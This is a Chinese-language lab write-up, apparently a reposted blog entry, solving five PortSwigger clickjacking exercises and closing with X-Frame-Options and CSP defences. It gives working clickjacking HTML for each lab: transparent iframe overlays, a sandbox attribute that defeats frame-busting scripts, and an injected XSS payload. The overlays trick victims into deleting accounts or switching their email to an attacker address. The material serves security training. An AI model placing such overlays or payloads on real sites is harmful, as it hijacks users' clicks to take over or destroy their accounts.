【BP靶场portswigger-客户端14】点击劫持-5个实验(全)

news2024/12/29 2:22:49

  

前言:

介绍: 

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书,华为云、阿里云、51CTO优质博主等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点(读者自测): 

(1)构造基本的点击劫持攻击(√)

(2)使用预填充表单输入的点击劫持(√)

(3)帧分解脚本(√)

(4)将点击劫持与DOM结合使用 XSS攻击(√)

(5)多步点击劫持(√)


目录

一、点击劫持

1、简述:

二、构造基本的点击劫持攻击

 1、简述:

        实验1:带有CSRF令牌保护的基本点击劫持

三、使用预填充表单输入的点击劫持

1、简述:

        实验2:从URL参数预填充表单输入数据的点击劫持

三、帧分解脚本

1、简述:

        实验3:使用帧破坏脚本进行点击劫持

四、将点击劫持与DOM结合使用 XSS攻击

1、简述:

        实验4:利用点击劫持漏洞触发基于DOM的XSS

五、多步点击劫持

1、简述:

        实验5:多步点击劫持

六、防止点击劫持攻击

1、简述:

2、X形框架-选项

3、内容安全策略(CSP)


一、点击劫持

1、简述:

1、原理:点击劫持是一种基于界面的攻击,用户通过点击诱饵网站中的一些其他内容,被诱骗点击隐藏网站上的可操作内容。


2、示例:

一个网络用户访问一个诱骗网站(也许这是一个由电子邮件提供的链接)并点击一个按钮来赢得奖品。在不知不觉中,他们被攻击者欺骗,按下了另一个隐藏按钮,这导致了另一个网站上的帐户付款。这是一个点击劫持攻击的例子。该技术依赖于合并一个不可见的、可操作的网页(或多个网页),其中包含一个按钮或隐藏链接,比如说,在iframe中。iframe覆盖在用户预期的诱饵网页内容之上。

(此攻击与 CSRF攻击的不同之处在于,用户需要执行按钮单击等操作,而CSRF攻击依赖于在用户不知情或不输入的情况下伪造整个请求)


3、阻碍:防止CSRF攻击通常是通过使用CSRF令牌来提供的:特定于会话的、单次使用的数字或随机数。CSRF令牌无法减轻点击劫持攻击,因为目标会话是使用从可信网站加载的内容建立的,并且所有请求都发生在域中。CSRF令牌被放入请求中,并作为正常行为会话的一部分传递给服务器。与普通用户会话相比,不同之处在于该进程发生在隐藏的iframe中。



二、构造基本的点击劫持攻击

 1、简述:

点击劫持攻击使用CSS来创建和操作层。攻击者将目标网站合并为覆盖在诱饵网站上的iframe层。

使用style标记和参数的示例如下:
<head>
    <style>
        #target_website {
            position:relative;
            width:128px;
            height:128px;
            opacity:0.00001;
            z-index:2;
            }
        #decoy_website {
            position:absolute;
            width:300px;
            height:400px;
            z-index:1;
            }
    </style>
</head>
...
<body>
    <div id="decoy_website">
    ...decoy web content here...
    </div>
    <iframe id="target_website" src="https://vulnerable-website.com">
    </iframe>
</body>

2、解释:目标网站iframe被定位在浏览器内,使得使用适当的宽度和高度位置值存在目标动作与诱饵网站的精确重叠。绝对和相对位置值用于确保目标网站准确地与诱饵重叠,而与屏幕大小、浏览器类型和平台无关。z-index决定iframe和website层的堆叠顺序。opacity值定义为0.0(或接近0.0),以便iframe内容对用户透明。浏览器点击劫持防护可能会应用基于阈值的iframe透明度检测(Chrome版本可能会检测,提倡Firefox)。攻击者选择不透明度值,以便在不触发保护行为的情况下实现所需效果


3、Clickbandit工具

尽管可以如上所述手动创建点击劫持概念证明,但这在实践中可能相当乏味和耗时。当测试点击劫持时,使用Burp的Clickbandit工具。这允许使用浏览器在可成帧页面上执行所需的操作,然后创建一个包含合适的点击劫持覆盖层的HTML文件。、可以使用它在几秒钟内生成交互式概念验证,而不必编写一行HTML或CSS


4、涉及实验:

实验1:带有CSRF令牌保护的基本点击劫持

实验1:带有CSRF令牌保护的基本点击劫持

信息:

1、本实验包含登录功能和受CSRF令牌保护的删除帐户按钮。用户将单击诱饵网站上显示单词“click”的元素。

2、解决实验:制作一些HTML来构建帐户页面,并欺骗用户删除他们的帐户

3、已有账号:wiener:peter


part1:

登录账号

转到利用漏洞攻击服务器,对模板进行以下调整:

1、将iframe src属性中的YOUR-LAB-ID替换为自己实验室ID
2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。
3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,以便“删除帐户”按钮和“测试我”诱饵动作对齐(我们建议分别为300 px和60 px)。
4、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用。

<style>
    iframe {
        position:relative;
        width:$width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position:absolute;
        top:$top_value;
        left:$side_value;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>

我的是:
<style>
iframe {
    position:relative;
    width:500px;
    height: 700px;
    opacity: 0.0001;
    z-index: 2;
}
div {
    position:absolute;
    top:500px;
    left:60px;
    z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a11000404d22a86c463666000e90017.web-security-academy.net/my-account"></iframe>

单击存储,然后单击查看漏洞(view)
将鼠标悬停在click me上,确保光标变为手形,指示div元素已正确定位。(如果div未正确对齐,请调整样式表的top和left属性)


part2:
正确排列div元素,然后单击Store
单击“Deliver exploit to victim”(将利用漏洞攻击传送给受害者)

 完成实验



三、使用预填充表单输入的点击劫持

1、简述:

1、一些需要表单完成和提交的网站允许在提交之前使用GET参数预先填充表单输入。其他网站可能要求在提交表单之前输入文本。由于GET值是URL的一部分,因此可以修改目标URL以包含攻击者选择的值,并将透明的“提交”按钮覆盖在诱饵站点上,如基本的点击劫持示例所示


2、涉及实验:

实验2:从URL参数预填充表单输入数据的点击劫持

实验2:从URL参数预填充表单输入数据的点击劫持

信息:

1、本实验扩展了实验中的基本点击劫持示例:基本的点击劫持与CSRF令牌保护。实验的目标是通过使用URL参数预填充表单并诱使用户无意中单击“Update email”按钮来更改用户的电子邮件地址。

2、解决实验:制作一些HTML来构建帐户页面,并欺骗用户通过单击“单击我”诱饵来更新他们的电子邮件地址

3、已有账号:wiener:peter


part1:

登录账号

转到利用漏洞攻击服务器,对模板进行以下调整:

1、将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的用户帐户页面,其中包含"更新电子邮件"表单
2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。
3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,使"更新电子邮件"按钮和"测试我"诱饵动作对齐(我们建议分别为450px和80px)
4、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用。

<style>
    iframe {
        position:relative;
        width:$width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position:absolute;
        top:$top_value;
        left:$side_value;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>


我的是:

<style>
iframe {
    position:relative;
    width:500px;
    height: 700px;
    opacity: 0.0001;
    z-index: 2;
}
div {
    position:absolute;
    top:450px;
    left:80px;
    z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a790033031f7481c04d45b0001b0062.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>


part2:

单击存储,然后单击查看漏洞(view)
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果没有,请通过修改样式表的top和left属性来调整div元素的位置

(这里是一个“Update email”按钮)

正确排列div元素后,将"Test me"更改为"Click me",然后单击Store。
现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)


完成实验



三、帧分解脚本

1、简述:

1、只要网站可以被框定,点击劫持攻击就有可能发生。因此预防技术基于限制网站的成帧能力。通过Web浏览器制定的常见客户端保护是使用帧破坏或帧中断脚本。这些可以通过专有浏览器JavaScript插件或扩展(如NoScript)实现。

脚本通常经过精心编制,以便执行以下部分或全部行为:
1、检查并强制当前应用程序窗口是主窗口或顶部窗口,
2、使所有帧可见,
3、防止点击不可见帧,
4、拦截并标记对用户的潜在点击劫持攻击。

2、帧破坏技术通常是特定于浏览器和平台的,并且由于HTML的灵活性,它们通常可以被攻击者绕过。由于framebuster是JavaScript,因此浏览器的安全设置可能会阻止其运行,甚至浏览器可能不支持JavaScript。攻击者对付frame buster的一个有效的变通方法是使用HTML5 iframe sandbox属性。当使用 allow-forms 或 allow-scripts 值设置此值并省略allow-top-navigation值时,framebuster脚本可以被中和,因为iframe无法检查它是否是顶部窗口:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

两者allow-forms以及allow-scripts值允许iframe内的指定操作,但禁用顶级导航。这将禁止帧破坏行为,同时允许目标站点内的功能。 


3、涉及实验:

实验3:使用帧破坏脚本进行点击劫持

实验3:使用帧破坏脚本进行点击劫持

信息:

1、本实验室受框架破坏器保护,可防止网站被框架破坏。

2、解决实验:制作一些HTML来构建帐户页面,并欺骗用户通过点击“点击我”来更改他们的电子邮件地址

3、已有账号:wiener:peter


part1:

登录账号

转到利用漏洞攻击服务器,对模板进行以下调整:

1、将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的用户帐户页面,其中包含"更新电子邮件"表单
2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。
3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,使"更新电子邮件"按钮和"测试我"诱饵动作对齐(分别为450px和80px)
4、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用。

5、注意sandbox ="allow-forms"属性的使用,该属性中和了framebuster脚本

<style>
    iframe {
        position:relative;
        width:$width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position:absolute;
        top:$top_value;
        left:$side_value;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe sandbox="allow-forms"
src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

我的是:
<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px;
        left:80px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms"
src="https://0a0f00a603703c46c2fb259800fa00bc.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

part2:

单击存储,然后单击查看漏洞(view)
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果没有,请通过修改样式表的top和left属性来调整div元素的位置

(这里是一个“Update email”按钮)

正确排列div元素后,将"Test me"更改为"Click me",然后单击Store
现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)


完成实验

 



四、将点击劫持与DOM结合使用 XSS攻击

1、简述:

1、点击劫持被视为一种独立的攻击。从历史上看,点击劫持被用来执行诸如在Facebook页面上增加"喜欢"之类的行为。但当点击劫持被用作另一种攻击的载体时,点击劫持的真正威力就显现出来了,如 DOM XSS攻击。假设攻击者首先识别了XSS漏洞,那么这种组合攻击的实现相对简单。然后,XSS攻击与iframe目标URL结合,以便用户单击按钮或链接,从而执行DOM XSS攻击。 


2、涉及实验:

实验4:利用点击劫持漏洞触发基于DOM的XSS

实验4:利用点击劫持漏洞触发基于DOM的XSS

信息:

本实验包含一个单击即可触发的XSS漏洞。构造一个clickjacking攻击,欺骗用户单击“Click me”按钮以调用print函数


part1:

登录账号

转到利用漏洞攻击服务器,对模板进行以下调整:

1、将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的"Submit feedback"页面
2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。
3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,使"Submit feedback"按钮和"click me"诱饵动作对齐(分别为610px和80px)
4、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用

<style>
	iframe {
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
	}
	div {
		position:absolute;
		top:$top_value;
		left:$side_value;
		z-index: 1;
	}
</style>
<div>Test me</div>
<iframe
src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

我的是:
<style>
	iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:610px;
        left:80px;
        z-index: 1;
	}
</style>
<div>click me</div>
<iframe
src="https://0a5600e703363c7ac24734f9000d00a0.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>


part2:

单击存储,然后单击查看漏洞(view)
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果没有,请通过修改样式表的top和left属性来调整div元素的位置

正确排列div元素后,将"Test me"更改为"Click me",然后单击Store
现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)


完成实验

 



五、多步点击劫持

1、简述:

1、攻击者操纵目标网站的输入可能需要多个操作。如攻击者可能希望诱使用户从零售网站购买商品,因此需要在下单之前将商品添加到购物篮中。攻击者可以使用多个division或iframe来实现这些操作。从攻击者的角度来看,此类攻击需要相当的精确性和谨慎性,才能有效和隐蔽


2、涉及实验:

实验5:多步点击劫持

实验5:多步点击劫持

信息:

1、本实验包含一些受CSRF令牌保护的帐户功能,还包含一个确认对话框,用于防止点击劫持

2、解决实验:设计一个攻击,通过单击“先单击我”和“下一步单击我”诱饵操作,诱骗用户单击删除帐户按钮和确认对话框(需要使用两个元素)

3、已有账号:wiener:peter


part1:

登录账号

转到利用漏洞攻击服务器,对模板进行以下调整:

1、将YOUR-LAB-ID替换为自己实验室ID,以便URL指向目标网站的用户帐户页面
2、用合适的像素值替换iframe的$height_value和$width_value变量(建议分别为700 px和500 px)。
3、用合适的像素值替换诱饵网页内容的$top_value和$side_value变量,以便"删除帐户"按钮和"先测试我"诱饵操作对齐(分别为330px和50px)

4、为$top_value2和$side_value2变量替换一个合适的值,以便"Testmenext"诱饵操作与确认页面上的"Yes"按钮对齐(我们建议分别为285px和225px)
5、设置不透明度值$opacity以确保目标iframe是透明的。最初,使用0.1的不透明度,以便可以对齐iframe操作并根据需要调整位置值。对于提交的攻击,值0.0001将起作用

<style>
	iframe {
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:$top_value;
		left:$side_value;
		z-index: 1;
	}
   .secondClick {
		top:$top_value2;
		left:$side_value2;
	}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>

我的是:
<style>
	iframe {
		position:relative;
		width:500px;
		height: 700px;
		opacity: 0.0001;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:500px;
		left:50px;
		z-index: 1;
	}
   .secondClick {
		top:290px;
		left:215px;
	}
</style>
<div class="firstClick">click me first</div>
<div class="secondClick">click me next</div>
<iframe src="https://0a3d009e04f7083bc0ac0e680046002a.web-security-academy.net/my-account"></iframe>

part2:

单击存储,然后单击查看漏洞(view)
将鼠标悬停在"Test me"上,确保光标变为手形,指示div元素的位置正确。如果没有,请通过修改样式表的top和left属性来调整div元素的位置

 正确排列div元素后,将"click me"更改为"Click me",然后单击Store
现在,单击Deliver exploit to victim(将漏洞利用发送给受害者)


完成实验

 



六、防止点击劫持攻击

1、简述:

1、点击劫持是一种浏览器端行为,其成功与否取决于浏览器的功能以及是否符合流行的网络标准和最佳实践。通过定义和传达对组件(如iframe)使用的约束,可以提供针对点击劫持的服务器端保护。但保护的实现取决于浏览器的遵从性和这些约束的实施。服务器端点击劫持保护的两种机制是X-Frame-Options和Content Security Policy。

2、X形框架-选项

X-Frame-Options最初是作为Internet Explorer 8中的一个非官方响应头引入的,它很快被其他浏览器采用。标头为网站所有者提供了对iframe或对象使用的控制,以便可以使用deny指令:

X-Frame-Options: deny

或者,可以使用sameorigin指令将框架限制为与网站相同的源 directive

X-Frame-Options: sameorigin

或使用allow-from指令:

X-Frame-Options: allow-from https://normal-website.com

X-Frame-Options在不同浏览器之间的实现不一致(允许指令在Chrome版本76或Safari 12中不受支持)。然而当与内容安全策略一起作为多层防御策略的一部分正确应用时,它可以提供针对点击劫持攻击的有效保护

3、内容安全策略(CSP)

1、内容安全策略(CSP)是一种检测和预防机制,可以减轻XSS和点击劫持等攻击。CSP通常在Web服务器中实现为以下格式的返回头:

Content-Security-Policy: policy

2、其中policy是以分号分隔的策略指令字符串。CSP向客户端浏览器提供关于浏览器可应用于恶意行为的检测和拦截的web资源的许可源的信息


3、点击劫持保护包括frame-ancestors应用程序的内容安全策略中的指令。该frame-ancestors 'none'指令的行为与X-Frame-Options类似deny指令。该frame-ancestors 'self'指令大致等同于X-Frame-Options 同源指令。以下CSP白名单仅将帧添加到同一域:

Content-Security-Policy: frame-ancestors 'self';

或框架可以被限制到命名的站点:

Content-Security-Policy: frame-ancestors normal-website.com;

为了有效地对抗点击劫持和XSS,CSP需要仔细的开发、实现和测试,并且应该作为多层防御策略的一部分使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/167529.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Fastdfs分布式文件系统原理浅析

文章目录1、fastdfs文件系统原理简述2、storage server状态2.1 组内新增加一台storage server A时&#xff0c;由系统自动完成已有数据同步&#xff0c;处理逻辑如下&#xff1a;第一步&#xff1a;第二步&#xff1a;第三步&#xff1a;第四步&#xff1a;3、同步时间管理4、B…

[有人@你]请查收你的年终总结报告

嗨&#xff0c;兄dei&#xff0c;我是建模助手。 新年伊始&#xff0c;最近大家想必已经被各大平台的2022年度报告刷屏了。 听歌软件伴你度过的失眠夜&#xff0c;外卖软件拯救你的饥饿时刻&#xff0c;还有某俩宝账单告诉你&#xff0c;其实你是有钱的&#xff0c;只是你看不到…

基于有向图的邻接矩阵计算其割点、割边、压缩图,并用networkx可视化绘制

基于有向图的邻接矩阵计算其割点、割边、压缩图&#xff0c;并用networkx可视化绘制为什么基于邻接矩阵计算图的割点、割边、压缩图实现python代码代码运行效果结论&#xff1a;为什么基于邻接矩阵计算图的割点、割边、压缩图 由于矩阵计算过程&#xff0c;被广泛优化&#xf…

Linux关于 gdb 调试器的使用

坚持看完&#xff0c;结尾有思维导图总结 这里写目录标题debug 和 release 版本gdb 常见命令断点逐行调试和观察变量总结debug 和 release 版本 首先要说的是 &#xff0c;在 Linux 中 gcc 直接编译是不能进行调试的 而是要在加上 -g 选项才能得到可调试的文件 以下程序用一个…

算法第十二期——BFS-双向广搜

双向广搜 应用场景&#xff1a;有确定的起点s和终点t&#xff1b;把从起点到终点的单向搜索&#xff0c;变换为分别从起点出发和从终点出发的“相遇”问题。操作&#xff1a;从起点s(正向搜索&#xff09;和终点t(逆向搜索&#xff09;同时开始搜索&#xff0c;当两个搜索产生…

Spring入门-Spring事务管理

文章目录1&#xff0c;Spring事务管理1.1 Spring事务简介1.1.1 相关概念介绍1.1.2 转账案例-需求分析1.1.3 转账案例-环境搭建步骤1:准备数据库表步骤2:创建项目导入jar包步骤3:根据表创建模型类步骤4:创建Dao接口步骤5:创建Service接口和实现类步骤6:添加jdbc.properties文件步…

数据治理与档案信息资源体系建设

如果要评选大数据或者数字化转型领域中哪个词最让人费解、最讲不清楚&#xff0c;“数据治理&#xff08;Data Governance&#xff09;”绝对是候选之一。说实话&#xff0c;笔者到现在也没有完全整明白&#xff0c;因为数据治理包含的范围太广了&#xff0c;可以说是包罗万象&…

高潜人才的自我要求

前言&#xff0c;上次写了个《潜力出众的你有这样的特质吗&#xff1f;》&#xff0c;地址如下&#xff1a;点我查看&#xff0c;这次在写个高潜人才的自我要求。本次以6个纬度来进行分析&#xff1b;3是基本要求&#xff0c;4是追求卓越&#xff0c;看你目前做到了哪个级别&am…

跨平台API对接(Python)的使用

Jenkins 是一个开源的、提供友好操作界面的持续集成(CI)工具&#xff0c;起源于 Hudson&#xff08;Hudson 是商用的&#xff09;&#xff0c;主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。后端可以利用 Jenkins 对任务进行调度运行&#xff1a;后端可利用 HTT…

【进阶】Spring更简单的读取和存储对象

努力经营当下&#xff0c;直至未来明朗&#xff01; 文章目录一、存储Bean对象一&#xff09;前置工作&#xff1a;配置扫描路径&#xff08;重要&#xff09;二&#xff09;添加注解存储Bean对象3. 五大类注解&#xff1a;4. 方法注解&#xff1a;6. 相关问题7. 补充【结论、查…

ROS2机器人编程简述humble-第二章-DEVELOPING THE FIRST NODE .2

0.1ROS2机器人编程简述新书推荐-A Concise Introduction to Robot Programming with ROS21.1ROS2机器人编程简述humble-第一章-Introduction2.1ROS2机器人编程简述humble-第二章-First Steps with ROS2 .12.2主要内容是全手工创建一个最简单的自定义节点&#xff0c;其实没啥具…

IB学生必看的时间表(二)

上期谈到在IB预科课程的第一个学年下学期&#xff0c;便要开始作报读大学的准备&#xff0c;到底为什么&#xff1f; 暑假不容松懈 现在来到放暑假了。虽说不用上课&#xff0c;学生没有了学习压力&#xff0c;但就以下三方面来看&#xff0c;学生还是要继续投放心力。 首先&am…

Unity 之 Addressable可寻址系统 -- 代码加载介绍 -- 进阶(一)

Unity 之 可寻址系统 -- 代码加载介绍 -- 进阶&#xff08;一&#xff09;一&#xff0c;可寻址系统代码加载1.1 回调形式1.2 异步等待1.3 面板赋值1.4 同步加载二&#xff0c;可寻址系统分标签加载2.1 场景搭建2.2 代码示例2.3 效果展示三&#xff0c;代码加载可寻址的解释概述…

Cadence OrCAD: 跨页符和电源符号命名优先级的一个小问题

Cadence OrCAD: 跨页符和电源符号命名优先级的一个小问题 遇到的问题 最近项目中&#xff0c;有个电源需要做负载端的反馈&#xff0c;类似下图的signal1和signal1N&#xff0c;反馈使用类似伪差分线&#xff0c;把电压信号和负载端的GND都连到DC-DC控制器。DC-DC对应的反馈引…

字节跳动青训营--前端day1

文章目录前言一、 前端1 前端的技术栈2. 前端的边界3. 前端的关注点二、 HTML1. HTML常用标签及语义化2. HTML 语法3. 谁在使用我们写的HTML前言 仅以此文章记录学习历程 一、 前端 解决GUI人机交互问题 1 前端的技术栈 2. 前端的边界 nodejs–服务器端应用 electron… --客…

【数据结构】6.1 图的基本概念和术语

文章目录前言6.1 图的定义和术语前言 图是一种比线性表和树更为复杂的数据结构。 在线性结构中&#xff0c;结点之间的关系属于一个对一个&#xff1b;数据元素之间有着线性关系&#xff0c;每个数据元素只有一个直接前趋和一个直接后继&#xff0c; 在树形结构中&#xff0c;…

算法设计与分析课程

算法的由来 算法的定义 算法的定义&#xff1a;给定计算问题&#xff0c;算法是一系列良定义的计算步骤&#xff0c;逐一执行计算步骤可得到预期的输出。 良定义&#xff1a;定义明确无歧义 计算步骤&#xff1a;计算机可以实现的指令 有了良定义的计算步骤&#xff0c;计算机就…

Java基础篇01-运算符的使用

01| Java中的数据类型 ) 1. 数值型&#xff1a; 序号类型空间占用说明最小值最大值默认值优缺点对比举例1byte8位有符号整数-128(-2^7)127 (2^7-1)0byte 类型用在大型数组中节约空间&#xff0c;主要代替整数&#xff0c;因为 byte 变量占用的空间只有 int 类型的四分之一by…

6、Denoising Diffusion Probabilistic Models(扩散模型)

简介 主页&#xff1a;https://hojonathanho.github.io/diffusion/ 扩散模型 &#xff08;diffusion models&#xff09;是深度生成模型中新的SOTA。 扩散模型在图片生成任务中超越了原SOTA&#xff1a;GAN&#xff0c;并且在诸多应用领域都有出色的表现&#xff0c;如计算机…

【docker概念和实践 1】 基本概念和组成原理

一、说明 初学Docker就一个字&#xff1a;乱&#xff01;这是因为Docker是一个庞大体系&#xff0c;初学时不了解全貌&#xff0c;处于“盲人摸象”状态&#xff0c;因不能通晓要领&#xff0c;学了一点&#xff0c;过后就忘了。而了解Docker全貌并非易事&#xff0c;官方文档也…